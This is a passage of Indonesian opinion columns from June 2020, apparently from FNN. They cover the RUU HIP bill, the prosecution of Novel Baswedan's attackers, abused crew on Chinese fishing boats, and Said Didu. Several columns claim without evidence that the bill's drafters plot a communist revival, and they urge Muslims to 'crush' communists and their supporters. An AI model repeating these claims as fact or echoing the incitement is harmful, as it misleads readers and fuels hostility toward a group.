kaleng-kaleng dan beleng-beleng”. Penyelundupan Ideologi di RUU HIP Gotong Royong itu adalah konsep kerja kolektif. Konsep yang menjadi jualan paling laku faham komunisme. Kolektivisme adalah kerja paksa. Kamp-kamp penampungan dipersiapkan sementara untuk manusia adalah budak industri. Kelanjutan kolektivisme ini adalah keadilan ditetapkan oleh aparat. Persatuan itu adalah pemaksaan, dan prinsip musyawarah hanya untuk kamerad-kamerad. Semua itu disebut “kolektif” atau dalam bahasa kita sekarang “Gotong Royong”. RUU HIP jelas ingin merumuskan ulang Pancasila menjadi sebatas norma biasa. Tujuannya, hanya untuk mengkerdilkan Pancasila. Meminjam Istilah Prof. KH. Din Syamsudin RUU HIP menurunkan derajat falsafah bangsa ini dengan memonopoli penafsiran Pancasila yang merupakan kesepakatan dan milik bersama. Oleh karena itu, tidak mungkin orang yang cinta NKRI dan orang yang menjunjung tinggi Pancasila, termasuk umat Islam, mau melakukan pencemaran terhadap Pancasila. Apalagi menghina Pancasila dengan cara-cara licik dan busuk seperti ini. Itu tidak mungkin. Pembaca FNN yang budiman, dugaan saya, RUU HIP adalah penyelundupan ideologi oleh ajaran-ajaran yang bertentangan dengan ajaran Ketuhanan Yang Maha Esa alias atheism. Hanya saja mereka menggunakan kosakata kebudayaan. Ketuhanan yang berbudaya adalah langkah untuk melunturkan nilai ketuhanan Yang Maha Esa. Memang Tuhan siapa yang berbudaya? “ngawur semua”. Konsep gotong-royong yang dirumuskan dalam norma RUU itu tidak jelas seperti apa? Apakah gotong-royong dalam kejahatan? gotong-royong dalam kebiadaban? Atau gotong royong dalam hal seperti apa? Kemanusiaan yang disebutkan dalam RUU itu adalah kemanusiaan saja. Sementara Pancasila menyebutkan Kemanusiaan Yang Adil dan Beradab. Kenapa hanya kemanusiaan saja? Karena komunis juga memiliki konsep kemanusiaan. Tetapi dalam kenyataan mereka biadab dan menghina kemanusiaan. Artinya RUU HIP itu “mbahnya ngawur”. Juga dungu, dongo, kaleng-kaleng dan beleng-beleng. Semua rumusan dan norma tidak memiliki dasar hokum, termasuk mencantumkan Pancasila dengan seenaknya saja. Kenyataan itu bisa dibaca dalam pasal 3 RUU HIP tersebut. Dugaan saya, mereka itu ingin merubah NKRI dan Pancasila. Caranya adalah merumuskan falsafah itu dalam norma biasa yang lebih rendah dari konstitusi UUD 1945. Apa tujuannya? Agar supaya mereka dapat merubahnya dengan mudah suatu saat nanti. Kita semua komponen bangsa dan umat Islam harus Waspada. MUI telah menegaskan, dalam maklumat Nomor Kep-1240/DP-MUI/VI/2020 menyikapi RUU HIP yang akan segera dibahas DPR. MUI mencurigai konseptor RUU HIP ini adalah oknum-oknum yang ingin membangkitkan kembali paham dan Partai Komunis Indonesia. Berikut saya kutip lengkap bagian akhir Maklumat MUI tersebut, "bila maklumat ini diabaikan oleh pemerintah, maka kami Pimpinan MUI Pusat dan segenap Pimpinan MUI Provinsi se-Indonesia mengimbau umat Islam Indonesia agar bangkit bersatu dengan segenap upaya konstitusional untuk menjadi garda terdepan dalam menolak paham komunisme dan berbagai upaya licik yang dilakukannya". Marilah kita mengawal maklumat MUI ini demi menjaga Pancasila dan NKRI dari bahaya laten komunis...Wallahualam bis shawab Penulis adalah Ketua Pemuda Madani & Ketua Lembaga Dakwah DPP IMM

Ketika Jaksa Menjadi Pembela Terdakwa Kasus Novel

by M Rizal Fadillah Jakarta FNN – Ahad (14/06). Tuntutan Jaksa Penuntut Umum (JPU) kepada dua orang Polisi aktif Ronny Bugis dan Rahmat Kadir, yang diduga sebagai penyerang Novel Baswedan hanya satu tahun. Tuntutan ini dinilai tidak adil. Mencengangkan untuk tindak pidana bertitel penganiayaan berat yang terencana. Semua suah tahu. Akibat dari penyiraman air keras ke wajah Novel Baswedan, telah menyebabkan sebelah mata Novel menjadi cacat. Mata Novel menjadi cacat secara permanen. Tidak dapat disembuhkan lagi. Sejak awal Novel sendiri meragukan keseriusan penyidikan dilakukan oleh polisi. Apalagi tersangka adalah anggota Polri aktif. Kasus Novel sendiri sangat kental bernuansa politik. Ada aktor intelektual dibelakang penyiram air keras. Walapun demikian, jangankan untuk bias mengungkap aktor intelektual yang "dibelakang", pada tersangka yang ada saja masih banyak tanda Tanya. Sangat diragukan kebenaran materielnya. Cerita novel yang bertele tele dan tuntutan seperti main-main dan badut-badutan. Jaksa mengakui ada perencanaan. Juga diyakini sebagai delik penganiayaan berat. Rencana penganiayaan Novel dapat dibuktikan di depan persidangan. Tersangka juga telah mengakui perbuatan perencanaan itu. Tapi ironinya JPU hanya menuntut satu tahun penjara saja kepada para pelaku. Aneh tapi nyata. Pasal 355 ayat ( 1) KUHP menyatakan bahwa untuk perbuatan penganiayaan berat dengan rencana itu, sanksi hukumannya 12 tahun penjara. Itu adalah dakwaan primer. Terhadap dakwaan subsidair Pasal 353 ayat (2), maka ancaman hukumannya adalah 7 tahun. Sungguh aneh. Bagaimana bisa JPU hanya menuntut satu tahun penjara. Lucu-lucuan saja. Jika alasannya adalah, kedua terdakwa tidak sengaja menyiram air keras ke badan namun yang terkena adalah wajah. Justru menunjukkan kebodohan hukum dari sang Jaksa secara nyata. Kebodohan yang diumbar ke publik untuk ditertawakan. Yang namanya sengaja (opzet) itu ada tiga jenis. Pertama, sengaja sebagai maksud (opzet als oogmerk). Kedua, sengaja dengan kesadaran akan kepastian (opzet als zekerheidsbewustzijn). Ketiga, sengaja dengan kesadaran akan kemungkinan (dolus eventualis). Nah, menyiram air keras dari motor berboncengan jika tidak kesengajaan pertama, maka akan terpenuhi yang kedua dan ketiga. Jadi, menyiram air keras yang berakibat rusak pada wajah adalah sengaja juga. Semua unsur sengaja yang direcanakan sudah terpenuhi syaratnya. Bisa "zekerheidsbewustzijn" atau "dolus eventualis". Adapun unsur sengaja adalah menghendaki dan mengetahui (willens en wetens). Apa yang dilakukan oleh kedua Polisi aktif ini sangat kuat memenuhi rumusan delik baik Pasal 355 ayat (1) atau 353 ayat (2) KUHP. Terlepas aspek teknis hukum, maka apa yang terjadi dengan tuntutan satu tahun adalah menggelikan. Juga menistakan hukum, dan jauh dari rasa keadilan. Jaksa Penuntut Umum ini terkesan menjadi pembela dari terdakwa. Biasanya JPU mencari sanksi atas perbuatan yang terberat. Dalam kasus Novel Baswedan ini justru aneh, karena yang terjadi adalah sebaliknya. Jaksa justru mencari yang teringan. Semua tahu itu tugas Pembela, bukan tugas Jaksa. Memang, lamanya waktu untuk menemukan tersangka saja sudah janggal. Tiga tahun dan ternyata ditemukan di ruang yang dekat-dekat saja. Ditemukan di kantor Polisi sendiri. Kemudian diproses dengan bertele-tele pula. Kini masuk Pengadilan. Lalu sampailah pada tuntutan JPU yang kontroversial tersebut. Bravo JPU. Anda layak dapat bintang. Bintang cerita telenovela. Bertele tele dan mampu membuat cerita sedih dalam kepura-puraan. Akibatnya, keadilan yang menjadi korban dari penganiayaan berat. Telah luka wajah hukum disiram dengan air keras kekuasaan. Katanya kan tidak sengaja. Ya sudah, ngga apa apa. Namanya juga cerita. Penulis adalah Pemerhati Politik dan Hukum.

Hentikan Perbudakan ABK di Kapal China

by Jamaludin Suryohadikusumo Jakarta FNN – Sabtu (13/06). China merupakan pasar kerja terbesar sektor perikanan dan pelayaran. China merupakan industri perikanan terbesar di dunia. Memiliki ribuan jumlah kapal ikan dan menjadikan China sebagai negara penghasil ikan nomor satu di dunia. Tidak dapat dipungkiri bahwa hampir mayoritas dari kapal perikanan asal China menggunakan Anak Buah Kapal (ABK) yang berasal dari Indonesia. Tiap tahun diperkirakan puluhan ribu ABK Indonesia berangkat kerja di kapal ikan China,. Mereka berangkat melalui mining agency di Jakarta ataupun di daerah. Dengan kata lain, China hasil perikananya banyak ditopang oleh tenaga kerja dari Indonesia. Untuk itu, Pemerintah Indonesia jangan hanya menyalahkan maning agency jika terjadi kasus ABK yang bekerja di kapal China. Pemerintah harus melakukan introspeksi apa yang sudah dilakukan pemerintah untuk memberikan perlindungan kepada warganya? Kalau Tenaga Kerja Asing (TKA) China dilindungi pemerintah Indonesia. Mestinya TKI kita juga diberikan jaminan pelindungan oleh pemerintah China. Namun peran ini harusnya dilakukan oleh pemerintah Indonesia. Bukan oleh swasta. Pemerintah harus menghapus berbagai aturan yang tumpang tindih mengenai penempatan ABK kapal. Kebijakan yang mengakibatkan ABK jadi korban. Jika tidak segera dilakukan perbaikan terhadap kebijakan yang tumpang tindih ini, maka sebenarnya pemerintah sudah ikut menyumbang kondisi keberadaan ABK yang tidak terlindungi selama ini. Upaya perlindungan harus dilakukan secara komprehensif dari hulu ke hilir. Target akhirnya untuk memastikan perlindungan kepada ABK, baik sebelum penempatan maupun ketika bekerja. Bahkan hingga purna penempatan kelak. Apa gunanya melakukan perlindungan di dalam negeri, jika pemerintah tidak bisa negosiasikan aturan perlindungan tersebut ke negara penempatan. Hingga kini, sudah ada beberapa perjanjian kerjasama yang dilakukan oleh Indonesia dan China. Penandatanganan nota kesepahaman bersama atau Memorandum of Understanding (MoU) tersebut dilaksanakan di Great Hall of The People, Kamis 26 Maret 2015 lalu. Penandatangan MoU ini disaksikan pula oleh Presiden Joko Widodo dan Presiden China Xi Jinping. Terdapat delapan MoU kerja sama Indonesia dengan China yang telah ditandatangani oleh kedua negara. Kasus perbudakan yang terjadi di kapal China yang mencuat beberapa waktu lalu jangan sampai terulang kembali. Kausu ini harus dijadikan sebagai momentum pemerintah untuk meningkatkan bargaining tenaga kerja Indonesia. Upaya ke arah itu bisa dilakukan melalui saluran-saluran diplomasi. Untuk meningkatkan perlindungan warga Negara. Jika pemerintah mau melindungi TKA China yang datang ke Indonesia. Bahkan ada kecenderungan pemerintah pasang badan untuk mereka TKA China. Apakah ada pejabat China yang mau pasang badan untuk memberikan perlindungan kepada TKI kita di China? Pemerintah harus membangun sistem perlindungan TKI. Paling kurang melakukan negoisasi ulang dengan pemerintah China. Tujuannya, agar warga negara yang bekerja di China, khususnya di kapal ikan mendapatkan jaminan perlindungan hukum ketika bekerja di sana. Pemerintah harus membangun MoU sebagai payung kerjasama yang mencakup aspek perlindungan menyeluruh terhadap hal-hal ABK kapal ikan. Yang menjadi dasar MOU antara Mining Agency User (ownership). Penulis adalah Ketua Bidang Buruh dan Pekerja MPN Pemuda Pancasila

Umat Islam Siaga Satu, PKI Akan Bangkit Lewat RUU HIP

By Asyari Usman Jakarta, FNN (13 Juni 2020) - Umat Islam harus Siaga satu. PKI akan bangkit. Begitulah yang bisa disimpulkan dari maklumat tegas dan keras yang dikeluarkan Majelis Ulama Indonesia (MUI) Pusat. MUI sangat serius. MUI dari semua provinsi (34 provinsi) menurunkan tanda tangan di maklumat penting ini. Maklumat MUI yang bersuara satu itu berkaitan dengan RUU Haluan Ideologi Pancasila (HIP) yang sedang dibahas di DPR. Menurut MUI dalam maklumatnya kemarin (12/6/2020), RUU HIP –kalau disahkan sebagai UU— bisa menjadi landasan hukum untuk membangkitkan kembali paham komunis dan kendaraannya, yaitu PKI (Partai Komunis Indonesia). Untuk itu, MUI mengeluarkan ‘perintah khusus’ kepada umat Islam. Bersegeralah dalam posisi waspada. MUI tidak lagi berbasa-basi. PKI semakin dekat. Itu intinya. MUI melihat situasi dan kondisi yang ada saat ini sama dengan berlomba cepat. Sekali lagi, MUI sangat serius. Mereka mengatakan RUU HIP harus ditolak. Alasan utamanya antara lain bahwa jelas ada upaya untuk meniadakan agama. MUI wajar resah. Misalnya, untuk apa Pancasila harus diperas menjadi Trisila dan kemudian menjadi Ekasila yaitu “Gotong Royong”? Apa urgensinya? Tentu hanya akal-akal simpatisan PKI. MUI menyebut mereka sebagai oknum-oknum yang masih penasaran atau bercita-cita untuk menghidupkan kembali paham komunis dan PKI. Melalui konsep Trisila dan kemudian menjadi konsep “Gotong Royong” itu, agama disetarakan dengan kebudayaan. Inilah yang akan terjadi jika RUU HIP diresmikan menjadi UU. MUI tidak bisa menerima peniadaan Tap MPRS XXV/MPRS/1966 di dalam RUU HIP. Tap MPRS ini melarang PKI dan penyebaran komunisme dan marxisme-leninisme. Bagi MUI, langkah ini sangat jelas tujuannya. Yaitu, untuk menghidupkan paham-paham anti-Islam ini. Penganut komunisme pasti akan menghabisi umat Islam. Maklumat ini tidak panjang. Hanya delapan poin. Poin penutupnya memperingatakan, kalau maklumat tidak dihiraukan maka umat Islam akan bangkit bersatu melakukan upaya menolak paham komunis. Penulis adalah Wartawan Senior

MUI Ultimatum Pemerintah & DPR Soal RUU HIP

by M Rizal Fadillah Jakarta FNN – Sabtu (13/06). Majelis Ulama Indonesia (MUI) Pusat membuat sikap tegas dan keras terkait Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Melalui Maklumat, MUI menegaskan penolakan terhadap RUU tersebut. MUI menyatakan "RUU HIP wajib ditolak dengan tegas, tanpa kompromi apapun". Penolakan tegaas MUI tersebut didukung oleh 34 Pimpinan MUI seluruh Indonesia. MUI melihat bahwa RUU HIP ini adalah bagian dari upaya untuk menghidupkan kembali faham Komunisme dan Partai Komunis Indonesia (PKI) di tanah air. MUI juga melihat ada ancaman terhadap ideologi negara Pancasila. Disamping menolak, MUI juga mencurigai adanya oknum konseptor dari RUU yang ingin membangkitkan kembali faham dan Partai Komunis Indonesia. MUI meminta agar pihak yang berwajib untuk mengusut oknum yang dicurigai dan "bermain" dibalik Partai Politik tertentu tersebut. Hal terpenting dalam melengkapi ketegasan tersebut, MUI Pusat beserta MUI seluruh Indonesia "mengultimatum" Pemerintah Republik Indonesia. Begitu juga dengan DPR. Umat Islam akan bergerak untuk melakukan perlawanan, bila pemerintah dan DPR coba-coba melanjutkan pembahasan RUU HIP ini. Bila Maklumat ini diabaikan oleh Pemerintah Republik Indonesia dan DPR, maka “kami Pimpinan MUI Pusat dan segenap pimpinan MUI Propinsi seluruh Indonesia menghimbau umat Islam Indonesia agar bangkit, bersatu dengan segenap upaya konstitusional untuk menjadi garda terdepan dalam menolak faham komunisme dan berbagai upaya licik yang dilakukannya, demi terjaga dan terkawalnya NKRI yang berdasarkan Pancasila dan UUD 1945". Luar biasa seriusnya situasi bangsa saat ini. Situasi ini semua, sebagai akibat dari permainan licik, kotor dan kasar kader-kader "kiri" sekarang hampir menguasi parlemen senayam. Tragisnya, mereka nyata-nyata berlindung dan bersembunyi dibalik partai politik tertentu. Dengan kondisi bangsa seperti, maka umat Islam tidak punya banyak pilihan. Hanya satu pilihan umat Islam, yaitu untuk mendukung dan merespons secara konstruktif penolakan dan "ultimatum" MUI Pusat tersebut. Menjadi garda terdepan melawan upaya-upaya melanjutkan pembahasan RUU HIP. Partai-partai politik beserta fraksi-fraksi dan anggota DPR RI sudah sepatutnya membaca aspirasi politik yang berkembang. Bahwa RUU HIP ini memang harus ditolak. Tunda dan batalkan pembahasan jika ingin situasi politik tetap stabil. Friksi pemahaman dan penyikapan terhadap ideologi negara menghadapi kerawanan yang dapat mengarah pada konflik. Konsensus tentang ideologi Pancasila sedang dicoba untuk dikhianati oleh anggota DPR yang masuk katagiri eksponen "kiri". Mereka kini berlindung di kelompok atau partai yang berciri "kebangsaan". Jika dibiarkan, mareka akan leluasa untuk menyebarkan dan menghidupkan kembali faham komunis Ketua Umum Muhammadiyah Prof. Haedar Nasir dalam salah satu acara pernah menyatakan bahwa terhadap RUU HIP yang kontroversial sebaiknya, sebaiknya ditunda atau dibatalkan. Tidak perlu dilanjutkan pembahasannya. Demi untuk apa yang disebut dengan kebaikan bersama (takaful ijtima'i). Umat Islam saja rela untuk memindahkan ibadah dari masjid ke rumah. Demi untuk menjaga kemashlahatan bersama. Mengapa DPR dan Pemerintah tak mau berkorban untuk menunda atau membatalkan RUU HIP yang kontroversial tersebut? Demi untuk kebaikan bersama ? MUI sudah sangat tegas sikapnya. Ini adalah wujud dari aspirasi yang sudah sangat merata. Khususnya umat Islam Indonesia. Oleh karena itu, tak ada pilihan lain bagi DPR maupun Pemerintah, selain putuskan untuk membatalkan dan tidak menjadikan RUU HIP sebagai undang-undang. Jangan bikin yang aneh-aneh lagi. Bisa panjang urusannya. Sebagaimana pernyataan tegas dank eras dari MUI. Jika diabaikan keadaan ini, maka umat Islam akan menjadi "garda terdepan “. Umat Islam menolak segala bentuk faham komunisme dan berbagai upaya licik dan kotor yang dilakukannya. DPR dan pemerintah jangan bermain-main soal ideologi Pancasila. Kita akan lawan bersama. Kita tetap berjuang bersama untuk menghancurkan PKI dan faham Komunisme dari bumi pertiwi ini. Penulis adalah Pemerhati Politik dan Keagamaan.

Beri Maklumat, MUI Ancam Penguasa!

by Tony Rosyid Jakarta FNN – Sabtu (13/06). Kalimat yang paling pas adalah “sudah keterlaluan”. Begitulah kira-kira pesan yang ingin disampaikan oleh Majelis Ulama Indonesia (MUI) Pusat melalui maklumatnya. Sikap tegas dan keras MUI didukung 34 MUI Provinsi seluruh Indonesia. Ketika Pemerintah dan DPR melakukan Revisi UU KPK, MUI diam. Ketuk palu UU minerba, MUI diam. Ajukan RUU Omnibus Law, MUI diam. Keluarkan Perppu Corona, MUI diam. Naikkan BPJS, MUI juga Diam. Tapi, untuk RUU Haluan Ideologi Pancasila (HIP), MUI berang. Gak bisa diam lagi. MUI sepakat menolak RUU HIP. Nggak tanggung-tanggung. Sikap penolakan tersebut didukung oleh MUI di 34 propinsi. Berarti, seluruh propinsi tidak hanya menolak. Tetapi MUI secara tegas menuduh ada oknum yang mendisign RUU HIP ini untuk mendistorsi Pancasila. MUI juga menuduh ada oknum yang mendisign dan membangkitkan kembali paham komunisme dan Partai Komunisme Indonesia (PKI). "Pancasila disabotase” maknanya menjadi "Trisila", lalu "Ekasila", yaitu Gotong Royong. Mau dikemanain sila "Ketuhanan Yang Maha Esa" dalam sila pertama itu? RUU HIP, bukan saja ancaman terhadap Pancasila. Tetapi pada akhirnya akan membunuh agama. Agama mau disetarakan dengankebudayaan. Kalau sila pertama diabaikan dan didegradasi, lalu mau dikemanakan agama? Terutama Islam yang dianut oleh mayoritas penduduk Indonesia? Tidak hanya menolak. Tetapi MUI juga meminta agar para oknum dibalik RUU HIP ini segera diusut dan ditindak tegas. Bahkan MUI minta keterlibatan semua Umat Islam untuk melaporkan, jika ada indikasi kebangkitan paham komunisme dan PKI dimanapun berada. Melaporkan ke markas TNI terdekat. Pertanyaannya, kok markas TNI? Sudah segawat itukah? Ada sejumlah oknum, kata maklumat itu. Sepertinya MUI sudah mengendus. Siapa saja mereka yang diendus MUI? Bisa ditanyakan langsung ke MUI siapa nama-nama yang sudah dikantongi. Tak mungkin institusi sekelas MUI menyebut oknum jika tak punya data. Setidaknya MUI sudah punya indikator yang kuat. Ini yang harus dibongkar kepada publik. Lebih tegas lagi, MUI mengancam akan mengerahkan seluruh umat Islam untuk melawan kebangkitan paham komunis dan PKI. Dipastikan umat Islam akan berada di gardan terdepan untuk ganyang PKI. Akankah muncul Gerakan Umat Mengawal Maklumat (GUMM) MUI? Jika penguasa mengabaikan peringatan keras dari MUI. Jika tak membatalkan RUU HIP, hampir pasti umat Islam akan bergerak. Entah apapun nama wadahnya. Bisa GUMM MUI. Namun bisa juga yang lain. Dari sinilah kekecewaan dan kemarahan umat selama ini kepada pemerintah akan tertumpah. Eskalasinya bisa lebih dahsyat dari kemarahan umat Islam kepada Ahok jelang pilkada Gubenur DKI dulu. Dalam kasus Ahok, hanya MUI Pusat yang mengeluarkan Fatwa. Terkait dengan RUU HIP ini, MUI Pusat mengeluarkan maklumat, yang didukung penuh oleh MUI propinsi di seluruh Indonesia. Nggak main-main ini. Kompak seluruhnya. Semua Umat Islam bersatu. Bersatu untuk menggilas komunis dan PKI, termasuk siapapun mereka yang mendukungnya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Antara George Floyd dan Said Didu

by Tony Rosyid Jakarta FNN – Jum’at (12/05). George Floyd mendadak jadi terkenal. Tak saja di Amerika, tetapi di seluruh dunia. Kematian lelaki kulit hitam oleh polisi Amerika ini telah menciptakan gelombang massa. Karena kematian satu nyawa ini, diprotes dengan demonstrasi. Bahkan penjarahan dan kerusuhan terjadi di hampir semua negara bagian di Amerika. Menghadapi situasi yang tak terkendali, Donald Trump terpaksa siapkan tentara. Sayangnya, permintaan Trump ditolak oleh Menteri Pertahanan, Mark Esper. Trump berang. Sang menteri pun mau dipecat. Tetapi tak jadi, karena ada masukan dari sejumlah penasehat presiden. Segawat itulah Amerika, sehingga harus menurunkan pasukan tempur? Apakah situasi Amerika sudah tak terkendali? dan Trump sudah tidak sanggup lagi menghadapi situasi di Amerika? Di setiap negara ada Floyd. Seorang korban kesewenang-wenangan kekuasaan. Ada yang mati dibunuh, ada yang diculik, ada yang ditangkap, ada yang dijadikan tersangka, dan ada pula yang diteror dan diintimidasi . Masing-masing negara punya caranya sendiri untuk menghadapi protes rakyatnya. Faktor utama kejatuhan Soekarno dan Soeharto karena kesewenang-wenangan dari kedua penguasa tersebut. Kasus pemberontakan PKI dan krisis ekonomi ketika itu hanya sebagai trigger belaka. Siapapun panguasa, jika nenggunakan kekuasaan dengan seweng-wenang, pasti jatuh. Jika di Amerika ada George Floyd, di Indonesia juga ada Said Didu. Memang beda. Floyd dituduh memakai kupon yang sudah kedaluwarsa. Sedangkan Said Didu dituduh mencemarkan nama baik Menteri Kordinator Bidang Maritim dan Invetasi Luhut Binsar Panjaitan. Orang kuat di kekuasaan sekarang. Bedanya lagi, Floyd mati dengan cara yang sadis, dan videonya ditonton oleh masyarakat di seluruh dunia. Sementara Said Didu ditetapkan menjadi tersangka. Surat penetapan tersangkanya beredar luas dan menggegerkan dunia maya. Pencemaran nama baik atau karena kritik Said Didu? Tak mudah untuk bisa membedakannya. Dalam konteks ini, persepsi penguasa dan rakyat seringkali berbeda. Tergantung sudut pandang kepentingan masing-masing Sempat diberi kesempatan untuk minta maaf kepada Menko Luhut Binsar Panjaitan. Namun Said Didu menolak. Karena merasa tidak bersalah. Ia hanya mengkritik, bukan mencemarkan nama baik pejabat. Jawaban Said Didu yang tegas dan sangat jelas! Nampaknya, Said Didu lebih memilih menjadi martir daripada minta maaf. Siap dengan segala konsekuensinya, termasuk akan dipenjara. Apakah kasusnya akan jadi trigger terjadinya protes nasional? Sejarah yang akan membuktikan nantinya. Yang jelas, berdasarkan surat yang beredar di media sosia dengan nomor B/47/VI/2020/Diitibitsiber Bareskrim Polri, tertanggal 10 Juni 2020, Said Didu telah ditetapkan menjadi tersangka. Menyusul Ruslan Buton yang lebih dulu jadi tersangka dalam kasus meminta Pak Jokowi mundur. Status tersangka Said Didu mengacu pada surat yang beredar. Tetapi, pihak kepolisian melalui Kadiv Humas Mabes Polri Irjen Arga Jowono membantahnya. Apakah bantahan itu akan menganulir status tersangka Said Didu dalam surat yang beredar di media social tersebut? Rakyat bertanya-tanya, kok seperti ada keraguan menetapkan Said Didu menjadi tersangka. Apakah ada yang khawatir bahwa Said Didu akan menjadi Floyd di Indonesia? Memancing gelombang protes dan demonstrasi massa dari seluruh elemen bangsa? Memang dilematis! Nasi sudah jadi bubur. Said Didu tersangka boleh jadi akan memicu terjadinya protes nasional yang semakin kencang. Tapi, jika lepas, ini akan jadi tamparan keras buat Pak Menteri Luhut Panjaitan. Rakyat terus berharap kepada pihak kepolisian agar bersikap netral, obyektif dan profesional. Ini taruhan nama baik bagi institusi terhormat itu. Sekaligus akan menjadi sejarah keadilan di negeri ini. Yang pasti, kasus Said Didu telah menjadi sorotan. Tidak saja di media, tetapi bahkan jadi perhatian seluruh aktifis di Indonesia. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Tuntutan Badut JPU Untuk Eksekutor Novel Baswedan

Andi W. Syahputra Jakarta FNN – Jum’at (12/06). Tidak terlalu sulit untuk menebak tuntutan Jaksa Penuntut Umum (JPU) terhadap Rahmat Kadir Mahulette dan Ronny Bugis. Dua pelaku penyiraman air keras kepada Novel Bawesdan. Tuntutan yang super ringan satu tahun penjara adalah dagelan dan badut hukum yang patut diduga memang sudah diskenariokan sedari awal. Betapa tidak. Kendati JPU beranggapan bahwa para pelaku terbukti telah merencanakan penyerangan terhadap Novel. Namun JPU mengesampingkan perbuatan para pelaku yang mengakibatkan kebutaan permanen bagi korban sebagai perbuatan yang direncanakan. Disinilah konstruksi dagelan dan badut itu disusun dengan apik. JPU dengan sengaja menghilangkan mans rea dari kedua pelaku. Jaksa menganggap target para pelaku hanya sekadar mencederai. Bukan untuk memuat korban cacat, mata buta secara permanen. Dalam teori pidana, penilaian terhadap pelaku kejahatan atau tindak pidana dibangun atas dua unsur penting. Pertama, menilai perbuatan pelaku sebagai pelanggaran ketentuan pidana (actus reus). Kedua, motif pelaku ketika melakukan tindak pidana (mens rea). Dua prinsip hukum pidana ini tidak bisa dipisahkan antara satu dengan yang lain. Oleh karenanya, para ahli hukum terutama penegak hukum kerap menggunakan kedua unsur pidana tersebut dalam prosedur penegakkan hukum pidana (acara pidana). Bukan seperti yang dilakukan JPU kasus Novel ini. Memang terjadi perdebatan. Mana yang mesti didahulukan? Actus reus atau mens rea? Namun, secara umum, ketika memulai penyelidikan, lazimnya penyelidik akan mendahulukan untuk menggali dari actus reus-nya ketimbang menggali motif (mens rea) pelaku. Ibaratnya, mengenali yang batin (abstrak) dari seseorang, jauh lebih sulit ketimbang menemukan perbuatan (fisik). Karena perbuatan pasti lebih dahulu terlihat dan dijadikan dasar untuk pemeriksaan lanjutan. Dalam hal tertangkap tangan pun, mens rea masih penting untuk dibuktikan di tahap berikutnya. Dari penjelasan singkat tersebut, mudah diketahui bahwa JPU telah lebih dahulu menemukan unsur perencanaan dari perbuatan pelaku. Fakta persidangan mengungkap, penyiraman terhadap Novel telah direncanakan dengan matang. Mulai dari penggunaan bahan (alat) hingga pada waktu eksekusi. Penggunaan asam sulfat sebagai bahan untuk membantu menyempurnakan kejahatan. Sementara waktu di kala sholat subuh, adalah pemilihan waktu yang sangat tepat. Itu merupakan hasil pilihan dari sebuah perencanaan yang matang oleh para pelaku. Asam sulfat dipilih oleh para pelaku agar korban mengalami cacat permanen, sehingga membuat jera korban. Dari rangkaian perencanaan tersebut semestinya JPU sudah dapat mudah menggali bahwa tindakan para pelaku masuk dalam rumpun penganiayaan berat yang direncanakan. Target para pelaku sangat jelas dan terang-benderang. Targetnya melumpuhkan dan membuat cacat korban, agar timbul efek jera pada diri korban. Makanya dipilih bahan kimia yang sangat berbahaya. Targtenya tidak yang abu-abu. Lantas, bagaimana dengan menilai mens rea para pelaku, yang menurut JPU percikan ke mata korban bukan unsur kesengajaan yang menyebabkan kebutaan permanen? Pengakuan para pelaku di persidangan a quo, cairan asam sulfat yang disiramkan mengenai mata kiri Novel bukan sebagai target, tetapi sebagai insiden yang tidak disengaja. Motif (mens rea) para pelaku adalah rasa benci kepada korban, sehingga perlu diberikan pelajaran. Bagaimana mungkin perbuatan yang didasari kebencian dengan menggunakan asam sulfat supaya korban cacat permanen dapat dinilai JPU sebagai perbuatan tak sengaja? Sekali lagi. Target para pelaku itu adalah melumpuhkan dan membuat cacat korban. Sehingga timbul efek jera pada diri korban. Makanya dipilih bahan kimia yang sangat berbahaya. Tingkat merusaknya tidak main-main. Hal yang perlu diingat adalah, mens rea menjadi unsur penting untuk menentukan pertanggungjawaban pidana dari para pelaku. Dalam peristiwa pidana kasus Novel, perbuatan pidana para pelaku harus menitikberatkan pada kombinasi antara actus reus dan mens rea. Tidak bias tidak. Perbuatan pelaku dengan menyiramkan asam sulfat yang tergolong bahan kimia sangat berbahaya. Pelaku sengaja melakukan dengan niat kebencian agar Novel Baswedan jera. Sangat jelas mens rea adalah grudge (dendam). Bukan yang lain. Jelas sekali motifnya. Dalam peristiwa ini tidak ada itu unsur kelalaian atau ketidaksengajaan. Dalam setiap perbuatan pidana, yang didahului dengan motif rea dendam terhadap korban, selalu saja berujung pada penganiayaan berat. Bukan penganiayaan ringan atau kebetulan. Berbeda dengan, umpamanya dalam kasus pembunuhan akibat dari kelalaian. Misalnya, saat pengemudi ugal-ugalan menabrak orang hingga mati. Pelaku yang menabrak korban tetap dapat didakwa menghilangkan nyawa orang lain. Hanya saja pasalnya akan berbeda, karena mens rea berbeda. Seharusnya, dalam pertimbangan tuntutan JPU, berapapun rasio perbandingan mens rea dan actus reus, terlepas dari aaspek mana yang harus timbul duluan, keduanya adalah unsur yang harus ada dalam pertanggungjawaban pidana. Menyimak fakta persidangan a quo, JPU telah sengaja mengesampingkan semua unsur yang terbukti dalam dakwaan primer pasal 355 ayat (1). Di mana semua rangkaian perbuatan telah diakui oleh para pelaku sendiri dan terbukti di muka persidangan. Dengan begitu, semestinya JPU menetapkan dakwaan primer pasal 355 telah terbukti secara menyakinkan. Anehnya, justru sebaliknya. Tuntutan JPU itu justru menilai dakwaan primer pasal 355 tidak terbukti . JPU langsung meloncat kepada dakwaan subsider pasal 353 ayat (2). Ini suatu kejanggalan yang disengaja sebagai dagelan dan badut murahan yang mencoreng wibawa pengadilan Indonesia. Terlepas dari polemik Tuntutan Super Ringan kasus penyiraman Novel Bawesdan, penilaian dan pendalaman dengan seksama dalam memahami actus reus dan mens rea menjadi sangat penting. Keduanya tak boleh dipisahkan hanya sekadar untuk mengaburkan substansi dari perbuatan pidana para pelaku. Bahkan dalam era digital saat ini, justru mens rea lebih dikedepankan dalam menggali perbuatan pidana pelaku. Tuntutan Super Ringan JPU terhadap para pelaku penyiraman Novel Bawesdan menambah bukti baru bahwa JPU dapat diintervensi oleh atasannya. Bisa juga diintervensi oleh pihak-pihak lain yang berkepentingan dengan perkara. JPU tak punya kemandirian dalam mengajukan rencana tuntutan (rentut) karena harus terlebih dahulu diketahui oleh atasanya. Lazimnya, JPU yang hadir di persidangan adalah Jaksa pada level bawahan yang tidak bisa diintervensi. Namun Jaksa yang lebih tinggi yang mudah diintervensi. Dalam konteks kasus Novel, seorang “jenderal polisi berpengaruh” sebagaimana 